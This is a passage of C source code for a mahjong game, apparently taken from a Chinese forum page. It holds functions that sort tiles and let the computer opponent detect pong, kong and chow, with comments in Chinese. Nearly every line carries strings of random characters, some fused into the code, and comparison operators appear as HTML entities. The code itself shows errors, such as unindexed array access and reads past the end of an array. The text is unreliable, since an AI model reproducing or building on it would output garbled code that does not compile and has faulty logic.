int *lingshi;. \; W$ r! F4 _+ P
for(n=0;n&lt;me.m;n++)2 d% A( M2 O0 s1 U
for(j=n;j&lt;me.m;j++)
5 ?2 X5 B3 W- @9 t+ a{2 }9 H! x# C' Y- V# c0 s
if(me.pp[n].number&gt;me.pp[j+1].number)
  R5 V$ A4 d0 Z% X{( d" Z/ B+ w  B" U
lingshi=me.pp[n].k;5 _$ t0 u: P# }. F+ b
me.pp[n].k=me.pp[j+1].k;! L* ~$ h9 I" V3 O
me.pp[j+1].k=lingshi;
: ?' I' ^: [- ^6 i8 r  ?# W6 z* X: Du=me.pp[n].oneorfour;
: N7 z& `! S& \/ w' Mme.pp[n].oneorfour=me.pp[j+1].oneorfour;  v; O4 Y; Q, ?7 F9 {% m+ r! R% P& r
me.pp[j+1].oneorfour=u;4 Y' V3 S/ ?( l8 I
u=me.pp[n].number;0 d; s( H) q+ L) @% }
me.pp[n].number=me.pp[j+1].number;2 F6 U, f1 ]+ s
me.pp[j+1].number=u;
5 ]6 p/ a8 Z2 l% O+ x" Y9 e9 w  m}
  X- c( `; s: t; _+ e+ }else  l- ?/ o6 k, L  u
if(me.pp[n].number==me.pp[j+1].number)8 j. S' k$ U+ x) o0 H
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
8 b! j. i) i+ z; `  e, {{
" S* y" ?9 f1 @/ }' _) nlingshi=me.pp[n].k;) L3 s8 P0 J; p; h; J) \! u+ p
me.pp[n].k=me.pp[j+1].k;
  P( I  L4 R6 }* o& E2 Z4 g6 Eme.pp[j+1].k=lingshi;( h6 m- q# P6 \( t8 l6 {' Y6 n! ]
u=me.pp[n].oneorfour;& {8 W. }5 t+ e' J0 u0 V& u
me.pp[n].oneorfour=me.pp[j+1].oneorfour;+ x# h: m, O( M$ `7 h4 B
me.pp[j+1].oneorfour=u;' }) F4 m6 t  B, Q3 ~, i
u=me.pp[n].number;
, w% S' D% b  K; O# \! Qme.pp[n].number=me.pp[j+1].number;
7 R5 p% d1 J2 c  rme.pp[j+1].number=u;) `; V6 D* Q; ~7 F' s8 P% p
}
% G3 t9 S! N6 E9 }}( z8 H% W/ ]2 M% D
}: t# K* O- J* z: `' h
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
1 F* ]( t' f' h% r+ K. e* b8 S1 y# Q{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
! Z: b4 u" Z. Q: \0 C* ~0 H9 p  d8 {# jif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)' d1 D) u; |% l9 p; [/ h2 I
{' g6 f& t8 n5 V8 ^) {7 N
logo=1;
/ m9 Z' }. j& m6 k4 J# ]if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
3 o. C' T; d' \7 {; alogoo=1;
) G; P- c4 x- d% k6 qelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
6 L- f; P! \9 y3 \/ q; zlogoo=2;
# v8 P' [' t9 Y  R3 [" |else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)9 _7 G; f( E0 Z/ s) G
logoo=3;
  B1 s' q4 X5 e- I% kelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)' U. [" O  G3 M
logoo=4;
% x& ^, j$ G/ U9 L' f% Relse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
0 n* n2 b* W. G  T7 ?" S2 }0 `$ Mlogoo=5;' O+ \) K) L( g* e
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)& v& Q6 u0 @% n0 E8 k
logoo=6;
7 J: @% o1 d1 p1 @2 \else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
" k" @0 m0 L3 C7 rlogoo=7;& s* F- H6 X# H4 m) H+ B5 R
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
' f0 B  {# ]1 I$ ~. X: z$ Xlogoo=8;- m2 `( P5 N7 K1 {
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32), N' m: ]# n7 _! ^# |- {3 ?& g. l. T
logoo=9;
) v+ U, ?0 o) ?5 y$ K+ A" f0 l}( @' _/ e, F- F
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
8 c+ a  Z# g# k9 j9 {% c{( A9 q/ T! q; D8 G
logo=2;0 r/ C% E  Q  k0 T
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
( y5 J& m+ b0 U& Rlogoo=1;; O7 K3 s" i  q, @& @, b. }1 o
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
# H) n: j& J) U* m# A! D: vlogoo=2;
$ Y$ _( D1 }4 ~5 B: i5 }else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)0 B7 u6 ~  {' b( D1 ^
logoo=3;/ Q& o4 _9 ~* T
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)# a. \7 R- N2 [6 j( T$ b0 [
logoo=4;  t: G% \; I, }. _$ P+ T2 c! W
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)* s7 u6 O9 Q1 X
logoo=5;0 B* F+ A% W2 W( \
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)3 \! Q1 X8 P- V1 Q; n
logoo=6;
* ^6 h* K$ J1 \4 U1 a9 L$ O  Lelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
! G8 f' J' v' a3 q$ {5 ]. r" alogoo=7;5 n0 m3 e+ ]$ ]
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
" C/ ?/ U% s0 t. t4 W5 r. ]" q( a# Nlogoo=8;9 L9 _+ `- R* G$ ^) N
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)" {  K% B/ Y& o, L
logoo=9;
, X) q: A6 `- K" G# S}
8 T% _  `$ e" o* g- R8 P: Aelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
8 Y9 o+ E( C+ ~{
" t& j7 o. [1 T2 r7 v9 c& Q7 C, o( tlogo=3;
9 F& q  R: r$ ], k# o; \7 v) o" `if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
1 Y$ _# S9 M& H8 x0 }logoo=1;
9 Y$ m2 a$ h8 N0 @3 J' M% |% K( z$ Telse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
, f+ E% c1 ^( k! llogoo=2;# L. w' a* |& i' n! H/ w9 B
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
) ~; u9 ~8 \% j' P2 k; E/ rlogoo=3;  W% v) I& n' e& t5 _9 O5 \
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
8 H/ y+ {# h5 r  b# x  ]logoo=4;
7 y# J9 V# {4 eelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
  g, ?" a! ^9 Q5 y9 B  e; @logoo=5;
7 W& f2 j) d4 e, p7 w7 S2 b! Kelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)- D9 I, Y  w; O+ `( B9 l
logoo=6;
- \3 }1 F3 a/ T! ^" Relse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)7 F6 M1 ^0 Y+ K3 D4 v- b
logoo=7;7 O6 m8 u" G- l1 n6 k
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
8 E1 |" d& I! v6 e( glogoo=8;  J0 l  O: _* |. Y
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)5 Z9 w5 o1 M/ P; _6 _
logoo=9;( t' K2 k1 \5 G2 A1 m0 \- [
}, O& `6 Q( m- X0 t
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
' Y0 E; z) O! H% x{
3 N+ o# I" S  o7 Ulogo=4;; d& w/ Y, f+ [5 z% L) m
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
# n9 `3 e7 i3 G8 N) F, \logoo=1;
; w9 x, |0 }! b: N2 Aelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)2 F; m! ~) |+ U/ G8 O  P8 z5 O
logoo=2;3 l" r0 o$ b4 M) r5 S
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
0 i6 V! Y7 V& N7 Zlogoo=3;
2 L& l2 N  Y( |  Uelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)$ c+ B" K7 H6 t6 S/ w
logoo=4;8 h' b- `1 T* i5 F
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)# C8 K  C4 D: r# u. N& Y
logoo=5;
# C  a% G; P8 }) kelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
. w* z; r1 e. D) {logoo=6;6 M0 p5 e( E4 E3 U4 V9 L1 o
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)5 @+ K% u& d' i% E: \- O
logoo=7;
) l8 _; y  A6 F. g$ y6 u) Z5 V}
: P1 o' Z# E2 v+ Twhile(b&lt;=computer.m), {: U7 e6 g' l0 ~+ r
{( m3 ]# N/ f( l% ~2 P2 g
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
9 l' D8 l, [2 K5 O: ^* u( Y{. a& Y0 D" q' L9 h8 o
lg=1;" Z( k3 j1 p+ f. g+ s
computer.pp.d[0]=1;
# T* W9 \  j. K; W0 kif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)7 G# v/ _/ m/ @8 P
{/ o  M7 [" Y* o6 {. x- z3 n. K
lgg=1;; P# e1 n: @0 ^7 V
computer.pp.d[1]=1;
% J( r1 S* D2 g5 |" f+ i}5 x+ u, h, z/ X" [* b: T
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)- I4 t- t2 p; L' r
{
5 T( V; O# s2 f7 @0 Xlgg=2;
& @% p: u2 R7 X3 k4 P3 ccomputer.pp.d[1]=2;
  W/ j! i9 m1 U2 S2 o}
8 l+ c; E: n& A3 g4 a6 O) ielse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)' h6 Q2 t. |6 V6 P
{
, U& R# l8 ^, wlgg=3;1 T- z% w4 Y" q& W" H5 ~6 v
computer.pp.d[1]=3;1 B: E1 _5 l0 O& j, P) L
}' Y. K/ V6 D  \2 p0 t8 y1 y
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)5 Q. f) r! v  U
{
1 p2 A& V" V2 H8 x7 t) Mlgg=4;
% M+ _4 y- }/ T( D% S$ _computer.pp.d[1]=4;
. [) u# ?; e/ U: B}
( D/ u" N: L! |$ s+ {$ S; F& t* Nelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
' M4 S( j1 p9 O' P+ Z{
2 t2 K; C( m  b* i) hlgg=5;1 U$ x  n3 n8 k1 |: _
computer.pp.d[1]=5;
9 d  Z6 e2 c  f) A% @9 ^}: l. S0 T* k: l- Z
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)4 X" o) y2 R; Z& o/ Z$ }, D
{
( |0 m- I! S0 j8 i  @lgg=6;
( _- D) m0 c  r) e2 Fcomputer.pp.d[1]=6;
% T) P' x4 {9 G2 _  U}, _' D  |9 o0 M) s
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
) U" y2 i& Z9 F. Q9 n% X+ ^5 z{6 ]- ^/ l: j8 N$ ]
lgg=7;+ u3 `" h0 ], J  Y
computer.pp.d[1]=7;
( A3 |2 F/ b+ M0 N* V}  [9 q* m. E. ?7 c) N
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)" T9 Z6 G1 z3 _  b4 ]3 i
{
4 a5 K/ O# E5 c2 Olgg=8;5 i3 ]  g5 S% f9 r- T6 S* A
computer.pp.d[1]=8;/ q0 A  i% F' K
}
8 d) E' |, s% }+ F+ \& pelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
, L7 {0 J) z# X5 D2 {{0 e. ^3 H* ^; ]; b; S1 ?9 C
lgg=9;
; _1 ~. _& v: f6 q- n: E  P/ bcomputer.pp.d[1]=9;
6 `: c* T# V# S}  c# T% y6 T9 z$ M
}
' O. g4 u! r1 E% ?) l  Xelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36), |3 U* G' V+ j2 b7 [& D! m& H2 E( l
{) V) K8 \8 u, W. v. t0 m8 i9 G
lg=2;
# h2 [% y' p: A2 b  o; [; Y6 }computer.pp.d[0]=2;) O: z$ T0 X4 n6 m
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
# H6 P+ g" H, ~3 p{
& ?! z, c4 C( Q1 J) vlgg=1;
" f4 `8 j9 y2 Q. v  Xcomputer.pp.d[1]=1;- m0 `( P  B1 M2 A; d- ?3 ]5 F7 M
}
) C7 ?3 l" }( Kelse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
1 p! Q' m6 V/ Y) r+ D{
6 Z* u, ^2 K9 M# c/ y1 Slgg=2;
3 a9 i' A: M8 bcomputer.pp.d[1]=2;8 X; U( R' k; t0 o9 ~
}5 ?; E6 q3 w' p. y- h4 R
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44); B( `: ?5 ^4 E+ j9 p8 M' w1 ^
{
$ H" j. J& D/ N1 w- V6 \0 p# I0 |lgg=3;0 o  M8 y& v* E; w' R
computer.pp.d[1]=3;- Y: L+ Q4 i8 m3 l
}% ~: Q4 a& @. v3 C! f* U$ l
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)& z6 S; R% }, C# g# J
{$ Q1 k6 V; M3 {/ \
lgg=4;' j7 h5 u! k$ o# u" Z- g4 l
computer.pp.d[1]=4;, S5 I9 K; \3 ]* L) @" M! }5 r) [
}
' H1 R7 G6 {1 X$ v7 Q3 p6 Y8 [" Velse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52). r1 H9 }8 p5 g* w( _: b
{+ S3 e/ V# s; c& L3 m; u
lgg=5;
3 f- |6 |9 i- Xcomputer.pp.d[1]=5;
8 N" e7 Q/ N( @9 M}
5 P9 R: |0 x/ }% f& U5 P  kelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
7 U8 U/ \$ A0 T{
. {  Q& z2 B) A- O, [3 l& C4 a/ }lgg=6;" n6 I6 L$ @2 r9 B0 C1 I: o* Q9 g
computer.pp.d[1]=6;
2 ^$ U" N: P: }* f' E}
5 x/ E+ Q; A  c& k& s/ b6 yelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
, k" h5 K/ c# f$ F7 `' |{
5 H; j  h0 l! U  K$ x8 Slgg=7;4 \4 e6 ^2 t3 |7 Z7 o" Q$ |2 Z
computer.pp.d[1]=7;
3 b0 G4 A1 J- A% f" G8 e}
7 a- _- j& }1 Yelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
$ m) o( V! O& E0 R{* R) e3 J; q7 i2 O
lgg=8;% r6 Q! ?# n/ ~- C
computer.pp.d[1]=8;. d3 L& _0 ^( ~# q1 B8 G6 u
}( |- l7 f6 j3 D% l8 e, I2 n, O
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
" U- l: p* \' T- G8 W$ Q% O{' v7 E" |/ C) j5 v
lgg=9;* W' y7 v" _5 ^3 \5 J$ p! w
computer.pp.d[1]=9;
' v4 c; Y& ~3 \8 K; G- Z}( S2 C5 B" d3 n% b! [2 ~
}
% }+ Z" W& ^  @/ K* P. I7 {else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
- _! F# x0 y% l7 I{
8 a) ?8 Y6 @5 |6 ~, blg=3;2 k5 }; ^" o+ o5 |8 G( _% _: }3 K
computer.pp.d[0]=3;& N2 X/ M4 u+ F3 n+ Y/ ~
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)# o7 |# _' T# \6 [8 O2 w
{
( b: |! v& y7 q0 q4 ulgg=1;' T, C/ w" _. x2 C" E  V! u" m( Z
computer.pp.d[1]=1;
% `+ P+ Y) ]% ?& _0 |}
/ d, J3 F. Q; qelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)5 ^$ |" ?8 j0 _4 V; d
{5 S4 l" u6 W2 I" @" k' {
lgg=2;
$ `4 x- x( {% r& Zcomputer.pp.d[1]=2;
% G% _, n# W+ k}! R* E  ^* e; A" m, k, p. V& W
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
* m( X8 t2 h# i$ w3 _9 B1 `: r' @{
7 |, N. y; o' D8 Y4 vlgg=3;
5 f; q7 Y6 h+ `7 ^9 P  G* _# h- n. Qcomputer.pp.d[1]=3;3 s2 E  @8 \2 S  B
}; B7 Z* u0 {# Y  O) w# Q- {5 F
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
9 q* k+ |  m1 N{
2 A# u( A& j# N, ]  N; E( Tlgg=4;0 L0 V, z5 I% \: u" A
computer.pp.d[1]=4;
6 z  Q) U" v3 o4 Z8 i}; k* @. m9 G8 \+ T
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
: g8 e' L) l. p4 w# S3 y{$ n- J& P0 P& h0 `4 E, K  j
lgg=5;
! o0 l) X* T' X& n! j7 B- g- _computer.pp.d[1]=5;" W, Z0 ^4 }' g
}4 \2 j; R' J- L8 \1 B+ E6 G8 B0 }9 q
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
: f( U, m1 {2 I1 ~7 g1 [, Q- l{
% b6 T: g( C9 d; l6 f: S2 `lgg=6;) Z0 C  }$ |5 I" F& n7 y; Z: \
computer.pp.d[1]=6;
' [: G1 s, z! u+ B$ d+ m+ a& P}. Q3 ]2 ^/ v" `  O+ n- }1 w& {
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96); s2 \: r! q5 E9 Q6 a
{3 ?: q% u1 ~* X' O5 U
lgg=7;
/ X% l4 h9 |- z3 n1 Fcomputer.pp.d[1]=7;
5 }) m& m% ^( o+ |0 [- s9 l}+ A8 Z! U: }+ M  d0 z) s
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)& ]& I0 V* d- M
{! {6 ~2 D/ V! L. _' ?: V5 S7 [0 X
lgg=8;
6 E4 n: e/ s9 o7 W  ncomputer.pp.d[1]=8;% y' ?8 ?$ T+ i3 R- [5 d1 O6 c
}
. Q, A+ G3 d  V+ \; m; w& L: Kelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)3 T. }5 n9 i: [" x
{
9 ~; g; \5 I# G2 S+ g7 `% ulgg=9;
6 v* Z/ }8 V; U3 d& S# N# \3 l0 ^computer.pp.d[1]=9;
5 G1 e' w7 h8 @) @+ j}$ H" v9 K! ]. P  c8 ~
}
0 m; A0 N. P8 _8 X: d, H" Nelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)0 |! \8 c. V5 _# m' Q! r+ U
{  p& O2 U; n6 F" H
lg=4;
1 g) @! G! ^0 o/ q$ c( scomputer.pp.d[0]=4;
) J7 Y/ P5 P, F# p8 J+ iif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
8 E- M4 v# n+ K2 Y9 l{
, o8 C  J8 l! f+ C# clgg=1;
0 S7 y4 ^' \4 P: J; P8 ycomputer.pp.d[1]=1;
2 Y5 ~: I1 h3 _  X, ^}
  A. D0 @3 T# L' |2 C0 [. v4 Ielse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
$ P+ d% W4 d; r% q, l. I% ~. c{
0 ]+ ]4 w. K/ {" a  k8 ulgg=2;
9 i1 G/ h( P# I" s9 L. ]computer.pp.d[1]=2;5 V  U5 f, o1 T8 w# H
}
( u" n0 |& e9 }. W) lelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116): N  A. @2 U6 `6 ^% w
{
+ M, V. K4 u! e5 N# Plgg=3;0 x  _2 G( N2 V9 Y: f# \) ^- m
computer.pp.d[1]=3;6 G' {2 i0 m9 H. |8 i
}, k3 I" o! Y8 D4 y' Z, J' a
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
; D- N0 X  G; u* d{4 N' z+ A; o; Y+ G" S% S/ d7 F. N- f
lgg=4;
* Y1 d. o5 A' ?" g+ N3 o1 q8 Rcomputer.pp.d[1]=4;
3 c& q( v% }0 w# ?8 [) ~% F/ G}  ?# [3 K% @' f+ l0 E
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
1 C. e" u0 A& v+ B{
7 D, y+ E  X) j0 b* y) jlgg=5;
- e9 J* f' b9 \. I$ o: J4 Z6 F% K- dcomputer.pp.d[1]=5;  [$ h* E5 M- W- U
}
6 T% {# Q% P+ d5 j8 Nelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
( U5 u; h" ~8 |% b' d7 X8 t' M2 K{
( Q$ k% X( K0 t* ^5 C6 \lgg=6;
3 `% \3 R4 n" W, Q8 bcomputer.pp.d[1]=6;
; B/ |4 M* b+ `9 |3 _6 n) A}" K4 L' N/ p5 T1 N) {3 Q+ _& T
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)# A8 `7 S$ A  j  l0 j8 Q
{" \0 A: z% P0 D7 N- `
lgg=7;
! P' C! e9 G# jcomputer.pp.d[1]=7;
9 H+ L6 m; s6 P/ W9 d}
2 i- K; d4 \! ?8 g1 D}
% H& O7 l- I( v9 y! {* e, E
* N7 n5 ]9 I1 S% A0 Q$ {7 B- nif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
; K" l8 R- i* q% H- g: Rif(logoo==lgg)
+ L% X2 J* Q1 _1 Dpg++;
4 b9 n# {' }; w' R; B0 ?8 `- t( Tch.lg=lg; /*保存电脑手里的每张牌的信息*/0 c- ]5 e5 y2 [7 C* z2 w
ch.lgg=lgg;  U* e' T, n1 Z" b% u
lg=0;
3 A2 k6 o: b$ l0 \- W* ]# m) c( plgg=0;
4 b! `, `, {2 S6 k0 `& \b++;/ b4 v7 x: G* T3 w  Q4 @5 P
}5 D& ~7 F- z& x9 D  ]6 \9 _5 k1 {" V
if(pg==2) /*乓*/: s% i3 C4 I9 e7 V* `
{: q, V! l* N: |) D' d+ u

# a5 j3 }  ^7 Y7 r: V; \2 I  qsing=1;5 D6 N4 V, A/ ^2 P1 {
b=computer.m;
, D5 Y+ J1 J7 h& i9 twhile(b!=-1)! I, j9 {6 Z, P
{0 z- ~  \1 v/ h/ P* H
if(strcmp(me.pp[c].k,computer.pp.k)==0)
( R: ^$ T8 s; A) y$ E( r, pcomputer.pp.p=1;
# y$ \6 S1 j: c' G9 X  d4 I$ b
4 P+ M$ D9 I6 ub--;
  p0 r& N  n: l3 u0 |8 J4 O}
( @4 f( s. B6 U) @" o1 g, I' x9 b. S}/ k6 F  |! u# J. K8 F
if(pg==3) /*杠*/
1 C: g- X' k6 c2 ~5 u( M$ J{1 ~: ^' N$ }+ {8 M3 k' @; s
3 p2 ?' Z  `$ t
sing=2;
2 n6 E1 Q  l) [- ?2 }: p! Rb=computer.m;2 n6 ]2 E, Q, U; _4 z2 j) f$ y; @
while(b!=-1)
1 r7 p% T8 F  z. W3 I" {{# O9 V2 R" e0 i/ U
if(strcmp(me.pp[c].k,computer.pp.k)==0): j$ r* u# O0 v! }; s1 z
computer.pp.g=1;
' \& y. s( s" wb--;
% _0 Z4 V' y9 m}
( b2 ~. X2 R/ y0 D6 w: b9 N  G$ \}
' i6 W+ |" Q+ K2 P2 m! @$ pf=0;
6 D' Q: r3 G. A4 \& k1 Z) ^while(f&lt;computer.m) /*吃的判断*/
* D1 d5 C3 H6 D# x, T, d) [# _{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)5 ^! n' |, ^) W1 k4 X/ n
{& l1 s2 P! m+ H
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
0 |6 B5 ?/ ]" X+ Vif(ch[f].lgg-logoo==1). B( l1 R3 W4 b( }: v' Q# l9 a
{4 \' P7 k1 f/ o0 s3 u
gp++;
1 r( @4 y, E) A, D9 _! o4 b6 ~; Acomputer.pp[f].c=1;
/ G, @, B6 s# R" D  |! n9 z; n  Zcomputer.pp[f+1].c=1;
9 O% d; r0 q0 C( j% {9 k% b- V, M}# n. w, o9 m/ C4 z8 F& t
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*// g9 O5 a) L; ~" ]: }: G$ F; _/ \
if(ch[f+1].lgg-logoo==-1)
$ U  y# \7 f) g% ?" I5 q8 Q) A4 @{* Z% j7 }" @4 P& [/ b. O6 Y
gp++;% j6 R* r( O. W& ~  u
computer.pp[f].c=1;: B) V( R5 v1 t$ \0 W2 V
computer.pp[f+1].c=1;3 W" [! d9 K+ z0 Z+ ^! o
}/ P) Q. E( T$ ]5 F! d2 M
if(ch[f].lgg-logoo==-1) /*中吃*/# Q! u3 f* U- ]. f3 R1 \: Y
if(ch[f+1].lgg-logoo==1)! u) `  L& }1 P- B: Y, |
{
( K5 g: I" c3 Q$ x* H& ^: egp++;
' S7 x$ D0 Q2 K" b) P7 Q% Ccomputer.pp[f].c=1;. K: m5 ], S* A" e& C0 i5 s  S
computer.pp[f+1].c=1;
% ~; j- T6 {$ ?}
. |# ^) G1 l) p' g4 t/ \# E7 @+ Nif(gp==1)
1 W4 M% I) c" L8 Ibreak;
) V8 F, {& G+ I/ U- l}
$ A+ {7 V3 i, M' ~f++;7 V3 R) q( D/ A
}) [5 K, C, k2 ^7 W7 f& [8 r+ j
if(gp==1)& V- \. ^& K7 O5 W
{sing=7;/ f6 m* w- T5 ~( B' {
+ C2 l. L8 D" `1 Y3 P: P
}
' F0 c+ k; c, I; k( {) r, |& mpg=0;% B  Z# A* a2 `3 z( Z& ^$ @
gp=0;0 [- F% X4 C+ I& K" r8 m4 o
b=0;, \# E. H; p9 e: x: w  _
}
: b/ [7 \* h9 y7 e5 fvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/; l% L, _" `' [' i! a# G: w
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
: {1 @( P/ E/ Gif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0). d) ]0 H3 c& F! }7 U
{
  Z- @( E7 B4 ?) ilogo=1;
1 d2 R% u, Y: q) ]0 M: i/ s$ w9 _if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)) r. I" o; \; R2 {& E6 V
logoo=1;
* }+ n$ C0 t" Z+ Jelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
$ W" @* `! E" p/ l5 r+ Tlogoo=2;
: J& d( ]- n. x" R8 \3 Kelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)4 s- x% Z- }5 a& J
logoo=3;) K  x: E1 W8 f8 q5 s( X( s8 T. r, @
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
1 G/ H8 ]2 q6 Q4 ]# R4 w  I( Llogoo=4;
( W8 k0 j1 Z3 \9 i+ Gelse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)* S# `4 u* P+ _4 R' n$ U3 X1 H$ y* e
logoo=5;& A* l( Z! l3 H6 g9 a
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
+ f/ Z) t' C$ A: z3 i+ J, rlogoo=6;- A. Y: S; j; M9 t4 ^1 y$ @
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)+ s  X9 k! _' R6 j
logoo=7;, ~: C3 [3 b$ q8 q  i. `
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)5 {+ i6 [1 u4 [; R- I& J* C
logoo=8;
* K# U5 O' @  P6 qelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
7 B' ^5 R' E" X9 ]8 i: Ylogoo=9;# [) H) {% M6 L4 Z. R; R5 ]
}! {" X1 D; ]* p# {: d. c* V% {, L
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
6 \( K. {! [4 _9 M6 T2 \{* b) A+ z0 ^, R! Z
logo=2;1 U2 M! D5 ]7 k; I1 ?
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
' M  v, I8 i* z0 D* {; C8 U* Q7 Jlogoo=1;
5 {! h0 u3 H+ r$ `+ velse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)9 H. ~6 n8 @  E6 k- h- t* R1 @, z
logoo=2;
+ S, @8 P# ]( {8 n% R5 Felse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
